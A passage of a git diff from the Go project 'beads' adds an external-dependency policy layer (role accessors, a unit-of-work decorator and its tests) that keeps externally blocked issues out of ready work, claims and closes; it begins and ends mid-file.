= foreign.Close() + } + + return result, nil +} diff --git a/internal/storage/externaldeps/role_accessors.go b/internal/storage/externaldeps/role_accessors.go new file mode 100644 index 000000000..464bf30dc --- /dev/null +++ b/internal/storage/externaldeps/role_accessors.go @@ -0,0 +1,146 @@ +package externaldeps + +import ( + "context" + "fmt" + + "github.com/steveyegge/beads/internal/storage" + storageissueops "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/internal/workapi" + "github.com/steveyegge/beads/internal/workapi/storereader" + "github.com/steveyegge/beads/issueops" +) + +// IssueReader builds the read role on the policy store. In particular, Ready +// and List(ReadyFlag) must call this store's filtered ready methods rather than +// promoted methods on the undecorated store. +func (s *Store) IssueReader() (issueops.Reader, error) { return storereader.New(s) } + +// IssueClaimer rejects a direct claim of externally blocked work before the +// backend's atomic claim operation. ReadyClaimer below handles selection among +// candidates; this method covers callers that already name an issue. +func (s *Store) IssueClaimer() (issueops.Claimer, error) { + inner, err := s.inner.IssueClaimer() + if err != nil { + return nil, err + } + return &issueClaimer{inner: inner, policy: s}, nil +} + +type issueClaimer struct { + inner issueops.Claimer + policy *Store +} + +func (c *issueClaimer) Claim(ctx context.Context, req issueops.ClaimRequest) (issueops.ClaimResult, error) { + blocked, blockers, err := c.policy.IsBlocked(ctx, req.IssueID) + if err != nil { + return issueops.ClaimResult{}, err + } + if blocked { + return issueops.ClaimResult{}, fmt.Errorf("%w: %s is blocked by %v", storage.ErrCloseBlocked, req.IssueID, blockers) + } + return c.inner.Claim(ctx, req) +} + +// ReadyClaimer keeps external blockers out of the ready-claim selection used +// by HTTP serving. The local compare-and-swap remains inside ClaimReadyIssue. +func (s *Store) ReadyClaimer() (issueops.ReadyClaimer, error) { + return &readyClaimer{policy: s}, nil +} + +type readyClaimer struct{ policy *Store } + +func (c *readyClaimer) ClaimNext(ctx context.Context, req issueops.ClaimNextRequest) (issueops.ClaimNextResult, error) { + if err := storageissueops.ValidateClaimNextRequest(req); err != nil { + return issueops.ClaimNextResult{}, err + } + filter, err := workapi.BuildReadyFilter(req.Filter) + if err != nil { + return issueops.ClaimNextResult{}, err + } + // ClaimReadyIssue does not perform the lazy wake owned by backend ready + // roles. Preserve it before selection, including through telemetry/hooks. + if waker, ok := storage.UnwrapStore(c.policy.inner).(storage.ExpiredDeferWaker); ok { + waker.WakeExpiredDefersAdvisory(ctx) + } + claimed, err := c.policy.ClaimReadyIssue(ctx, filter, req.Actor) + if err != nil || claimed == nil { + return issueops.ClaimNextResult{}, err + } + rows, err := c.policy.SearchIssuesWithCounts(ctx, "", types.IssueFilter{IDs: []string{claimed.ID}}) + if err != nil { + return issueops.ClaimNextResult{}, err + } + if len(rows) != 1 { + return issueops.ClaimNextResult{}, fmt.Errorf("claim ready: hydrate %s: expected one row, got %d", claimed.ID, len(rows)) + } + return issueops.ClaimNextResult{Claimed: rows[0]}, nil +} + +// BlockingAnnotator augments the backend's derived local answer with the +// external blockers that the policy resolves for the same ids. +func (s *Store) BlockingAnnotator() (issueops.BlockingAnnotator, error) { + inner, err := s.inner.BlockingAnnotator() + if err != nil { + return nil, err + } + return &blockingAnnotator{inner: inner, policy: s}, nil +} + +type blockingAnnotator struct { + inner issueops.BlockingAnnotator + policy *Store +} + +func (a *blockingAnnotator) AnnotateBlocking(ctx context.Context, req issueops.BlockingRequest) (issueops.BlockingResult, error) { + result, err := a.inner.AnnotateBlocking(ctx, req) + if err != nil { + return issueops.BlockingResult{}, err + } + for i := range result.Items { + blocked, blockers, err := a.policy.IsBlocked(ctx, result.Items[i].ID) + if err != nil { + return issueops.BlockingResult{}, err + } + if blocked { + result.Items[i].BlockedBy = blockers + } + } + return result, nil +} + +// TreeWalker preserves synthetic external leaves for the normal down-tree +// request. Reverse walks do not follow a source's dependencies, and the +// combined/up variants retain the backend's existing traversal semantics. +func (s *Store) TreeWalker() (issueops.TreeWalker, error) { + inner, err := s.inner.TreeWalker() + if err != nil { + return nil, err + } + return &treeWalker{inner: inner, policy: s}, nil +} + +type treeWalker struct { + inner issueops.TreeWalker + policy *Store +} + +func (t *treeWalker) WalkTree(ctx context.Context, req issueops.WalkTreeRequest) (issueops.TreeResult, error) { + if (req.Direction != "" && req.Direction != issueops.TreeDown) || req.Status != "" || req.MaxRows != 0 { + return t.inner.WalkTree(ctx, req) + } + nodes, err := t.policy.GetDependencyTree(ctx, req.RootID, req.MaxDepth, false, false) + if err != nil { + return issueops.TreeResult{}, err + } + return issueops.TreeResult{Nodes: nodes}, nil +} + +var ( + _ issueops.Claimer = (*issueClaimer)(nil) + _ issueops.ReadyClaimer = (*readyClaimer)(nil) + _ issueops.BlockingAnnotator = (*blockingAnnotator)(nil) + _ issueops.TreeWalker = (*treeWalker)(nil) +) diff --git a/internal/storage/externaldeps/uow_decorator.go b/internal/storage/externaldeps/uow_decorator.go new file mode 100644 index 000000000..3e5e9fa0d --- /dev/null +++ b/internal/storage/externaldeps/uow_decorator.go @@ -0,0 +1,390 @@ +package externaldeps + +import ( + "context" + "database/sql" + "fmt" + "slices" + + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/storage/domain" + "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/storage/uow" + "github.com/steveyegge/beads/internal/types" + publicops "github.com/steveyegge/beads/issueops" + "github.com/steveyegge/beads/memoryops" +) + +// WrapUOWProvider installs the external capability policy on the server UOW +// path. Proxied commands otherwise bypass storage decorators entirely. +func WrapUOWProvider(inner uow.UnitOfWorkProvider, locate ProjectLocator, open StoreOpener) uow.UnitOfWorkProvider { + if inner == nil { + return nil + } + return &uowProvider{UnitOfWorkProvider: inner, policy: New(nil, locate, open)} +} + +type uowProvider struct { + uow.UnitOfWorkProvider + policy *Store +} + +var _ uow.UnitOfWorkProvider = (*uowProvider)(nil) +var _ uow.MaintenanceProvider = (*uowProvider)(nil) +var _ uow.ProviderUnwrapper = (*uowProvider)(nil) + +// Unwrap lets callers deliberately peel policy decorators. In particular, +// bd serve must get beneath the notifying provider before handing a provider +// to HTTP handlers, which must never run workspace hooks. +func (p *uowProvider) Unwrap() uow.UnitOfWorkProvider { return p.UnitOfWorkProvider } + +// RunNonTx preserves the optional maintenance capability exposed by the +// proxied provider. Wrapping the provider must not make unrelated commands +// such as compact lose access to their pinned connection. +func (p *uowProvider) RunNonTx(ctx context.Context, fn func(context.Context, *sql.Conn) error) error { + provider, ok := p.UnitOfWorkProvider.(uow.MaintenanceProvider) + if !ok { + return fmt.Errorf("external dependency UOW wrapper: maintenance operations unsupported") + } + return provider.RunNonTx(ctx, fn) +} + +func (p *uowProvider) NewUOW(ctx context.Context) (uow.UnitOfWork, error) { + inner, err := p.UnitOfWorkProvider.NewUOW(ctx) + if err != nil { + return nil, err + } + return &unitOfWork{UnitOfWork: inner, policy: p.policy}, nil +} + +// Provider capability accessors build roles on this wrapper. Delegating them +// to the inner provider would silently discard external-dependency policy for +// every command that reaches the proxied seam through an optional source. +func (p *uowProvider) IssueLifecycle() (publicops.Lifecycle, error) { return uow.NewIssueOperations(p) } +func (p *uowProvider) IssueReader() (publicops.Reader, error) { return uow.NewIssueReader(p) } +func (p *uowProvider) IssueClaimer() (publicops.Claimer, error) { return uow.NewIssueClaimer(p) } +func (p *uowProvider) IssueRelations() (publicops.Relations, error) { return uow.NewIssueRelations(p) } +func (p *uowProvider) EdgeReader() (publicops.EdgeReader, error) { return uow.NewEdgeReader(p) } +func (p *uowProvider) BlockingAnnotator() (publicops.BlockingAnnotator, error) { + return uow.NewBlockingAnnotator(p) +} +func (p *uowProvider) TreeWalker() (publicops.TreeWalker, error) { return uow.NewTreeWalker(p) } +func (p *uowProvider) GraphCounter() (publicops.GraphCounter, error) { + return uow.NewGraphCounter(p) +} +func (p *uowProvider) Counter() (publicops.Counter, error) { return uow.NewCounter(p) } +func (p *uowProvider) ReadyCounter() (publicops.ReadyCounter, error) { + return uow.NewReadyCounter(p) +} +func (p *uowProvider) ReadyClaimer() (publicops.ReadyClaimer, error) { + return uow.NewReadyClaimer(p) +} +func (p *uowProvider) Querier() (publicops.Querier, error) { return uow.NewQuerier(p) } +func (p *uowProvider) StatsReporter() (publicops.StatsReporter, error) { + return uow.NewStatsReporter(p) +} +func (p *uowProvider) CycleDetector() (publicops.CycleDetector, error) { + return uow.NewCycleDetector(p) +} +func (p *uowProvider) Commenter() (publicops.Commenter, error) { return uow.NewCommenter(p) } +func (p *uowProvider) BatchCloser() (publicops.BatchCloser, error) { + return uow.NewBatchCloser(p) +} +func (p *uowProvider) BatchCreator() (publicops.BatchCreator, error) { + return uow.NewBatchCreator(p) +} +func (p *uowProvider) DependencyEditor() (publicops.DependencyEditor, error) { + return uow.NewDependencyEditor(p) +} +func (p *uowProvider) BatchApplier() (publicops.BatchApplier, error) { + return uow.NewBatchApplier(p) +} +func (p *uowProvider) Deleter() (publicops.Deleter, error) { return uow.NewDeleter(p) } +func (p *uowProvider) Sweeper() (publicops.Sweeper, error) { return uow.NewSweeper(p) } +func (p *uowProvider) Importer() (publicops.Importer, error) { return uow.NewImporter(p) } +func (p *uowProvider) Bootstrapper() (publicops.Bootstrapper, error) { + return uow.NewBootstrapper(p) +} +func (p *uowProvider) InitVerifier() (publicops.InitVerifier, error) { + return uow.NewInitVerifier(p) +} +func (p *uowProvider) WorkspaceConfig() (publicops.WorkspaceConfig, error) { + return uow.NewWorkspaceConfig(p) +} +func (p *uowProvider) VersionReconciler() (publicops.VersionReconciler, error) { + return uow.NewVersionReconciler(p) +} +func (p *uowProvider) MetadataCAS() (publicops.MetadataCAS, error) { return uow.NewMetadataCAS(p) } +func (p *uowProvider) Releaser() (publicops.Releaser, error) { return uow.NewReleaser(p) } +func (p *uowProvider) Memories() (memoryops.Memories, error) { return uow.NewMemories(p) } +func (p *uowProvider) EventsJournalCursor() (storage.EventsJournalCursor, error) { + return uow.NewEventsJournalCursor(p) +} + +func (p *uowProvider) SetPoolLimits(limits uow.PoolLimits) { + if tuner, ok := p.UnitOfWorkProvider.(uow.PoolTuner); ok { + tuner.SetPoolLimits(limits) + } +} + +func (p *uowProvider) SetEventsJournalEnabled(enabled bool) { + if configurer, ok := p.UnitOfWorkProvider.(storage.EventsJournalConfigurer); ok { + configurer.SetEventsJournalEnabled(enabled) + } +} + +func (p *uowProvider) RunEventsMaintenanceTx(ctx context.Context, fn func(context.Context, issueops.DBTX) error) error { + runner, ok := p.UnitOfWorkProvider.(issueops.EventsMaintenanceRunner) + if !ok { + return fmt.Errorf("external dependency UOW wrapper: events-journal maintenance unsupported") + } + return runner.RunEventsMaintenanceTx(ctx, fn) +} + +var ( + _ uow.PoolTuner = (*uowProvider)(nil) + _ storage.EventsJournalConfigurer = (*uowProvider)(nil) + _ issueops.EventsMaintenanceRunner = (*uowProvider)(nil) + _ uow.IssueLifecycleSource = (*uowProvider)(nil) + _ uow.IssueReaderSource = (*uowProvider)(nil) + _ uow.IssueClaimerSource = (*uowProvider)(nil) + _ uow.RelationsSource = (*uowProvider)(nil) + _ uow.EdgeReaderSource = (*uowProvider)(nil) + _ uow.BlockingAnnotatorSource = (*uowProvider)(nil) + _ uow.TreeWalkerSource = (*uowProvider)(nil) + _ uow.GraphCounterSource = (*uowProvider)(nil) + _ uow.CounterSource = (*uowProvider)(nil) + _ uow.ReadyCounterSource = (*uowProvider)(nil) + _ uow.ReadyClaimerSource = (*uowProvider)(nil) + _ uow.QuerierSource = (*uowProvider)(nil) + _ uow.StatsReporterSource = (*uowProvider)(nil) + _ uow.CycleDetectorSource = (*uowProvider)(nil) + _ uow.CommenterSource = (*uowProvider)(nil) + _ uow.BatchCloserSource = (*uowProvider)(nil) + _ uow.BatchCreatorSource = (*uowProvider)(nil) + _ uow.DependencyEditorSource = (*uowProvider)(nil) + _ uow.BatchApplierSource = (*uowProvider)(nil) + _ uow.DeleterSource = (*uowProvider)(nil) + _ uow.SweeperSource = (*uowProvider)(nil) + _ uow.ImporterSource = (*uowProvider)(nil) + _ uow.BootstrapperSource = (*uowProvider)(nil) + _ uow.InitVerifierSource = (*uowProvider)(nil) + _ uow.WorkspaceConfigSource = (*uowProvider)(nil) + _ uow.VersionReconcilerSource = (*uowProvider)(nil) + _ uow.MetadataCASSource = (*uowProvider)(nil) + _ uow.ReleaserSource = (*uowProvider)(nil) + _ uow.MemoriesSource = (*uowProvider)(nil) + _ uow.EventsJournalCursorSource = (*uowProvider)(nil) +) + +type unitOfWork struct { + uow.UnitOfWork + policy *Store + issue domain.IssueUseCase + deps domain.DependencyUseCase +} + +var _ uow.UnitOfWork = (*unitOfWork)(nil) + +// Unwrap keeps the transaction runner reachable to infrastructure roles such +// as import. The policy only decorates use-case methods, so peeling it does +// not bypass a mutation guard for callers that use the domain surface. +func (u *unitOfWork) Unwrap() uow.UnitOfWork { return u.UnitOfWork } + +func (u *unitOfWork) IssueUseCase() domain.IssueUseCase { + if u.issue == nil { + u.issue = &issueUseCase{ + IssueUseCase: u.UnitOfWork.IssueUseCase(), + deps: u.DependencyUseCase(), + policy: u.policy, + } + } + return u.issue +} + +func (u *unitOfWork) DependencyUseCase() domain.DependencyUseCase { + if u.deps == nil { + u.deps = &dependencyUseCase{ + DependencyUseCase: u.UnitOfWork.DependencyUseCase(), + policy: u.policy, + } + } + return u.deps +} + +type issueUseCase struct { + domain.IssueUseCase + deps domain.DependencyUseCase + policy *Store +} + +func (u *issueUseCase) blockingState(ctx context.Context) (blockingState, error) { + deps, err := u.deps.GetExternalBlockingDependencyRecords(ctx) + if err != nil { + return blockingState{}, err + } + return u.policy.blockingStateFromRecords(ctx, deps) +} + +func (u *issueUseCase) GetReadyWork(ctx context.Context, filter types.WorkFilter) (domain.SearchPage, error) { + state, err := u.blockingState(ctx) + if err != nil { + return domain.SearchPage{}, fmt.Errorf("external dependencies: %w", err) + } + return u.IssueUseCase.GetReadyWork(ctx, withExternalExclusions(filter, state.refsByIssue)) +} + +func (u *issueUseCase) GetReadyWorkWithCounts(ctx context.Context, filter types.WorkFilter) (domain.SearchCountsPage, error) { + state, err := u.blockingState(ctx) + if err != nil { + return domain.SearchCountsPage{}, fmt.Errorf("external dependencies: %w", err) + } + return u.IssueUseCase.GetReadyWorkWithCounts(ctx, withExternalExclusions(filter, state.refsByIssue)) +} + +func (u *issueUseCase) ClaimReadyIssue(ctx context.Context, filter types.WorkFilter, actor string) (domain.ClaimReadyResult, error) { + state, err := u.blockingState(ctx) + if err != nil { + return domain.ClaimReadyResult{}, fmt.Errorf("external dependencies: %w", err) + } + return u.IssueUseCase.ClaimReadyIssue(ctx, withExternalExclusions(filter, state.refsByIssue), actor) +} + +func (u *issueUseCase) GetBlockedIssues(ctx context.Context, filter types.WorkFilter) ([]*types.BlockedIssue, error) { + base, err := u.IssueUseCase.GetBlockedIssues(ctx, unpagedBlockedFilter(filter)) + if err != nil { + return nil, err + } + state, err := u.blockingState(ctx) + if err != nil { + return nil, fmt.Errorf("external dependencies: %w", err) + } + + result := make([]*types.BlockedIssue, 0, len(base)+len(state.refsByIssue)) + byID := make(map[string]bool, len(base)) + for _, item := range base { + if item == nil { + continue + } + clone := *item + clone.BlockedBy = slices.Clone(item.BlockedBy) + for _, ref := range state.refsByIssue[item.ID] { + clone.BlockedBy = appendUnique(clone.BlockedBy, ref) + } + clone.BlockedByCount = len(clone.BlockedBy) + result = append(result, &clone) + byID[item.ID] = true + } + + missing := make([]string, 0, len(state.refsByIssue)) + for id := range state.refsByIssue { + if !byID[id] { + missing = append(missing, id) + } + } + parentDeps := make(map[string][]*types.Dependency) + if filter.ParentID != nil && len(missing) > 0 { + parentDeps, err = u.deps.GetIssueDependencyRecords(ctx, missing) + if err != nil { + return nil, fmt.Errorf("external dependencies: load blocked parent edges: %w", err) + } + wispParentDeps, err := u.deps.GetWispDependencyRecords(ctx, missing) + if err != nil { + return nil, fmt.Errorf("external dependencies: load blocked wisp parent edges: %w", err) + } + for id, deps := range wispParentDeps { + parentDeps[id] = append(parentDeps[id], deps...) + } + } + issues, err := u.IssueUseCase.GetIssuesByIDs(ctx, missing) + if err != nil { + return nil, fmt.Errorf("external dependencies: load blocked sources: %w", err) + } + wisps, err := u.IssueUseCase.GetWispsByIDs(ctx, missing) + if err != nil { + return nil, fmt.Errorf("external dependencies: load blocked wisp sources: %w", err) + } + issues = append(issues, wisps...) + for _, issue := range issues { + if issue == nil || issue.Status == types.StatusClosed || issue.Status == types.StatusPinned { + continue + } + if !matchesParentFilter(issue.ID, filter.ParentID, parentDeps) { + continue + } + refs := slices.Clone(state.refsByIssue[issue.ID]) + result = append(result, &types.BlockedIssue{Issue: *issue, BlockedByCount: len(refs), BlockedBy: refs}) + } + return finishBlockedIssues(result, filter) +} + +func (u *issueUseCase) CloseIssueChecked(ctx context.Context, id string, params domain.CloseIssueParams, actor string, force bool) (domain.CloseIssueResult, error) { + if err := u.guardExternalClose(ctx, id, force); err != nil { + return domain.CloseIssueResult{}, err + } + return u.IssueUseCase.CloseIssueChecked(ctx, id, params, actor, force) +} + +func (u *issueUseCase) CloseWispChecked(ctx context.Context, id string, params domain.CloseIssueParams, actor string, force bool) (domain.CloseIssueResult, error) { + if err := u.guardExternalClose(ctx, id, force); err != nil { + return domain.CloseIssueResult{}, err + } + return u.IssueUseCase.CloseWispChecked(ctx, id, params, actor, force) +} + +func (u *issueUseCase) ApplyUpdate(ctx context.Context, id string, spec domain.UpdateSpec, actor string) (*types.Issue, error) { + if isClosedUpdate(spec.Fields) { + if err := u.guardExternalClose(ctx, id, false); err != nil { + return nil, err + } + } + return u.IssueUseCase.ApplyUpdate(ctx, id, spec, actor) +} + +func isClosedUpdate(fields map[string]any) bool { + switch status := fields["status"].(type) { + case string: + return status == string(types.StatusClosed) + case types.Status: + return status == types.StatusClosed + default: + return false + } +} + +func (u *issueUseCase) guardExternalClose(ctx context.Context, id string, force bool) error { + if force { + return nil + } + state, err := u.blockingState(ctx) + if err != nil { + return fmt.Errorf("external dependencies: %w", err) + } + if blockers := state.refsByIssue[id]; len(blockers) > 0 { + return fmt.Errorf("%w: %s is blocked by %v", storage.ErrCloseBlocked, id, blockers) + } + return nil +} + +type dependencyUseCase struct { + domain.DependencyUseCase + policy *Store +} + +func (u *dependencyUseCase) GetDependencyTree(ctx context.Context, rootID string, opts domain.DepTreeOpts) ([]*types.TreeNode, error) { + tree, err := u.DependencyUseCase.GetDependencyTree(ctx, rootID, opts) + if err != nil || opts.Direction == domain.DepDirectionIn || len(tree) == 0 { + return tree, err + } + ids := make([]string, 0, len(tree)) + for _, node := range tree { + if node != nil && !isExternalReference(node.ID) { + ids = append(ids, node.ID) + } + } + deps, err := u.GetIssueDependencyRecords(ctx, ids) + if err != nil { + return nil, fmt.Errorf("external dependencies: load tree edges: %w", err) + } + return u.policy.appendTreeExternalReferences(ctx, tree, deps, opts.MaxDepth, opts.ShowAllPaths) +} diff --git a/internal/storage/externaldeps/uow_decorator_test.go b/internal/storage/externaldeps/uow_decorator_test.go new file mode 100644 index 000000000..08585552d --- /dev/null +++ b/internal/storage/externaldeps/uow_decorator_test.go @@ -0,0 +1,327 @@ +package externaldeps + +import ( + "context" + "errors" + "slices" + "testing" + "time" + + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/storage/domain" + "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/storage/uow" + "github.com/steveyegge/beads/internal/types" +) + +type fakeUOWProvider struct { + uow.UnitOfWorkProvider + uw uow.UnitOfWork +} + +func (p *fakeUOWProvider) NewUOW(context.Context) (uow.UnitOfWork, error) { return p.uw, nil } + +type fakeUOW struct { + uow.UnitOfWork + issues domain.IssueUseCase + deps domain.DependencyUseCase +} + +func (u *fakeUOW) IssueUseCase() domain.IssueUseCase { return u.issues } +func (u *fakeUOW) DependencyUseCase() domain.DependencyUseCase { return u.deps } + +type fakeIssueUseCase struct { + domain.IssueUseCase + ready []*types.Issue + wisps []*types.Issue + blocked []*types.BlockedIssue + closed []string +} + +func (u *fakeIssueUseCase) GetIssue(_ context.Context, id string) (*types.Issue, error) { + for _, issue := range u.ready { + if issue.ID == id { + return issue, nil + } + } + return nil, nil +} + +func (u *fakeIssueUseCase) GetIssuesByIDs(ctx context.Context, ids []string) ([]*types.Issue, error) { + result := make([]*types.Issue, 0, len(ids)) + for _, id := range ids { + if issue, err := u.GetIssue(ctx, id); err != nil { + return nil, err + } else if issue != nil { + result = append(result, issue) + } + } + return result, nil +} + +func (u *fakeIssueUseCase) GetWisp(_ context.Context, id string) (*types.Issue, error) { + for _, issue := range u.wisps { + if issue.ID == id { + return issue, nil + } + } + return nil, nil +} + +func (u *fakeIssueUseCase) GetWispsByIDs(ctx context.Context, ids []string) ([]*types.Issue, error) { + result := make([]*types.Issue, 0, len(ids)) + for _, id := range ids { + issue, err := u.GetWisp(ctx, id) + if err != nil { + return nil, err + } + if issue != nil { + result = append(result, issue) + } + } + return result, nil +} + +func (u *fakeIssueUseCase) CloseIssueChecked(_ context.Context, id string, _ domain.CloseIssueParams, _ string, _ bool) (domain.CloseIssueResult, error) { + u.closed = append(u.closed, id) + return domain.CloseIssueResult{}, nil +} + +func (u *fakeIssueUseCase) CloseWispChecked(_ context.Context, id string, _ domain.CloseIssueParams, _ string, _ bool) (domain.CloseIssueResult, error) { + u.closed = append(u.closed, id) + return domain.CloseIssueResult{}, nil +} + +func (u *fakeIssueUseCase) ApplyUpdate(_ context.Context, id string, spec domain.UpdateSpec, _ string) (*types.Issue, error) { + u.closed = append(u.closed, id) + status, _ := spec.Fields["status"].(string) + return &types.Issue{ID: id, Status: types.Status(status)}, nil +} + +func (u *fakeIssueUseCase) GetReadyWork(_ context.Context, filter types.WorkFilter) (domain.SearchPage, error) { + items := make([]*types.Issue, 0, len(u.ready)) + for _, issue := range u.ready { + if !slices.Contains(filter.ExcludeIDs, issue.ID) { + items = append(items, issue) + } + } + return domain.SearchPage{Items: items}, nil +} + +func (u *fakeIssueUseCase) GetBlockedIssues(_ context.Context, _ types.WorkFilter) ([]*types.BlockedIssue, error) { + return slices.Clone(u.blocked), nil +} + +type fakeDependencyUseCase struct { + domain.DependencyUseCase + external map[string][]*types.Dependency + records map[string][]*types.Dependency + wispDeps map[string][]*types.Dependency +} + +func (u *fakeDependencyUseCase) GetExternalBlockingDependencyRecords(context.Context) (map[string][]*types.Dependency, error) { + return u.external, nil +} + +func (u *fakeDependencyUseCase) GetIssueDependencyRecords(_ context.Context, ids []string) (map[string][]*types.Dependency, error) { + result := make(map[string][]*types.Dependency, len(ids)) + for _, id := range ids { + result[id] = u.records[id] + } + return result, nil +} + +func (u *fakeDependencyUseCase) GetWispDependencyRecords(_ context.Context, ids []string) (map[string][]*types.Dependency, error) { + result := make(map[string][]*types.Dependency, len(ids)) + for _, id := range ids { + result[id] = u.wispDeps[id] + } + return result, nil +} + +func TestWrapUOWProviderFiltersProxiedReadyWork(t *testing.T) { + blocked, ready := issue("be-blocked"), issue("be-ready") + inner := &fakeUOW{ + issues: &fakeIssueUseCase{ready: []*types.Issue{blocked, ready}}, + deps: &fakeDependencyUseCase{external: map[string][]*types.Dependency{ + blocked.ID: {externalDep(blocked.ID, "external:remote:payments", types.DepBlocks)}, + }}, + } + provider := WrapUOWProvider(&fakeUOWProvider{uw: inner}, func(ProjectName) (string, bool) { + return "", false + }, nil) + uw, err := provider.NewUOW(t.Context()) + if err != nil { + t.Fatalf("NewUOW: %v", err) + } + got, err := uw.IssueUseCase().GetReadyWork(t.Context(), types.WorkFilter{}) + if err != nil { + t.Fatalf("GetReadyWork: %v", err) + } + if ids := issueIDs(got.Items); !slices.Equal(ids, []string{ready.ID}) { + t.Fatalf("proxied ready IDs = %v, want [%s]", ids, ready.ID) + } +} + +func TestWrapUOWProviderKeepsUnitOfWorkUnwrappable(t *testing.T) { + inner := &fakeUOW{} + provider := WrapUOWProvider(&fakeUOWProvider{uw: inner}, nil, nil) + wrapped, err := provider.NewUOW(t.Context()) + if err != nil { + t.Fatalf("NewUOW: %v", err) + } + + unwrapper, ok := wrapped.(interface{ Unwrap() uow.UnitOfWork }) + if !ok { + t.Fatalf("wrapped UOW %T does not expose Unwrap", wrapped) + } + if got := unwrapper.Unwrap(); got != inner { + t.Fatalf("Unwrap() = %T, want the wrapped UOW", got) + } +} + +func TestWrapUOWProviderPreservesIssueReader(t *testing.T) { + inner := &fakeUOWProvider{uw: &fakeUOW{}} + provider := WrapUOWProvider(inner, nil, nil) + source, ok := provider.(uow.IssueReaderSource) + if !ok { + t.Fatalf("wrapped provider %T does not preserve IssueReaderSource", provider) + } + if reader, err := source.IssueReader(); err != nil || reader == nil { + t.Fatalf("IssueReader() = %T, %v", reader, err) + } + if got := uow.UnwrapProvider(provider); got != inner { + t.Fatalf("UnwrapProvider() = %T, want the wrapped provider", got) + } +} + +func TestWrapUOWProviderRefusesProxiedCheckedClose(t *testing.T) { + blocked := issue("be-blocked") + issues := &fakeIssueUseCase{ready: []*types.Issue{blocked}} + inner := &fakeUOW{ + issues: issues, + deps: &fakeDependencyUseCase{external: map[string][]*types.Dependency{ + blocked.ID: {externalDep(blocked.ID, "external:remote:payments", types.DepBlocks)}, + }}, + } + provider := WrapUOWProvider(&fakeUOWProvider{uw: inner}, func(ProjectName) (string, bool) { + return "", false + }, nil) + uw, err := provider.NewUOW(t.Context()) + if err != nil { + t.Fatalf("NewUOW: %v", err) + } + if _, err := uw.IssueUseCase().CloseIssueChecked(t.Context(), blocked.ID, domain.CloseIssueParams{}, "tester", false); !errors.Is(err, storage.ErrCloseBlocked) { + t.Fatalf("CloseIssueChecked error = %v, want ErrCloseBlocked", err) + } + if len(issues.closed) != 0 { + t.Fatalf("inner close calls = %v, want none", issues.closed) + } +} + +func TestWrapUOWProviderFiltersExternalBlockedWorkByParent(t *testing.T) { + parent, child := issue("be-parent"), issue("be-child") + inner := &fakeUOW{ + issues: &fakeIssueUseCase{ready: []*types.Issue{child}}, + deps: &fakeDependencyUseCase{ + external: map[string][]*types.Dependency{ + child.ID: {externalDep(child.ID, "external:remote:payments", types.DepBlocks)}, + }, + records: map[string][]*types.Dependency{ + child.ID: {{IssueID: child.ID, DependsOnID: parent.ID, Type: types.DepParentChild}}, + }, + }, + } + provider := WrapUOWProvider(&fakeUOWProvider{uw: inner}, func(ProjectName) (string, bool) { + return "", false + }, nil) + uw, err := provider.NewUOW(t.Context()) + if err != nil { + t.Fatalf("NewUOW: %v", err) + } + got, err := uw.IssueUseCase().GetBlockedIssues(t.Context(), types.WorkFilter{ParentID: &parent.ID}) + if err != nil { + t.Fatalf("GetBlockedIssues: %v", err) + } + if len(got) != 1 || got[0].ID != child.ID { + t.Fatalf("blocked issues = %v, want [%s]", got, child.ID) + } +} + +func TestWrapUOWProviderGuardsDoneUpdatesAndWispCloses(t *testing.T) { + durable, wisp := issue("be-durable"), issue("be-wisp") + issues := &fakeIssueUseCase{ready: []*types.Issue{durable}, wisps: []*types.Issue{wisp}} + inner := &fakeUOW{ + issues: issues, + deps: &fakeDependencyUseCase{external: map[string][]*types.Dependency{ + durable.ID: {externalDep(durable.ID, "external:remote:payments", types.DepBlocks)}, + wisp.ID: {externalDep(wisp.ID, "external:remote:payments", types.DepBlocks)}, + }}, + } + provider := WrapUOWProvider(&fakeUOWProvider{uw: inner}, func(ProjectName) (string, bool) { + return "", false + }, nil) + uw, err := provider.NewUOW(t.Context()) + if err != nil { + t.Fatalf("NewUOW: %v", err) + } + issueUC := uw.IssueUseCase() + if _, err := issueUC.ApplyUpdate(t.Context(), durable.ID, domain.UpdateSpec{Fields: map[string]any{"status": string(types.StatusClosed)}}, "tester"); !errors.Is(err, storage.ErrCloseBlocked) { + t.Fatalf("ApplyUpdate error = %v, want ErrCloseBlocked", err) + } + if _, err := issueUC.CloseWispChecked(t.Context(), wisp.ID, domain.CloseIssueParams{}, "tester", false); !errors.Is(err, storage.ErrCloseBlocked) { + t.Fatalf("CloseWispChecked error = %v, want ErrCloseBlocked", err) + } + if len(issues.closed) != 0 { + t.Fatalf("inner mutation calls = %v, want none", issues.closed) + } + blocked, err := issueUC.GetBlockedIssues(t.Context(), types.WorkFilter{}) + if err != nil { + t.Fatalf("GetBlockedIssues: %v", err) + } + if ids := blockedIssueIDs(blocked); !slices.Equal(ids, []string{durable.ID, wisp.ID}) { + t.Fatalf("blocked IDs = %v, want [%s %s]", ids, durable.ID, wisp.ID) + } +} + +func TestWrapUOWProviderPaginatesCombinedExternalBlockedWork(t *testing.T) { + local, external := issue("be-local"), issue("be-external") + createdAt := time.Date(2026, time.August, 2, 0, 0, 0, 0, time.UTC) + local.Priority, external.Priority = 0, 0 + local.CreatedAt, external.CreatedAt = createdAt, createdAt + inner := &fakeUOW{ + issues: &fakeIssueUseCase{ + ready: []*types.Issue{external}, + blocked: []*types.BlockedIssue{{Issue: *local, BlockedBy: []string{"be-local-blocker"}, BlockedByCount: 1}}, + }, + deps: &fakeDependencyUseCase{external: map[string][]*types.Dependency{ + external.ID: {externalDep(external.ID, "external:remote:payments", types.DepBlocks)}, + }}, + } + provider := WrapUOWProvider(&fakeUOWProvider{uw: inner}, func(ProjectName) (string, bool) { + return "", false + }, nil) + uw, err := provider.NewUOW(t.Context()) + if err != nil { + t.Fatalf("NewUOW: %v", err) + } + first, err := uw.IssueUseCase().GetBlockedIssues(t.Context(), types.WorkFilter{Limit: 1}) + if err != nil { + t.Fatalf("GetBlockedIssues first page: %v", err) + } + if ids := blockedIssueIDs(first); !slices.Equal(ids, []string{external.ID}) { + t.Fatalf("first page IDs = %v, want [%s]", ids, external.ID) + } + second, err := uw.IssueUseCase().GetBlockedIssues(t.Context(), types.WorkFilter{Offset: 1, Limit: 1}) + if err 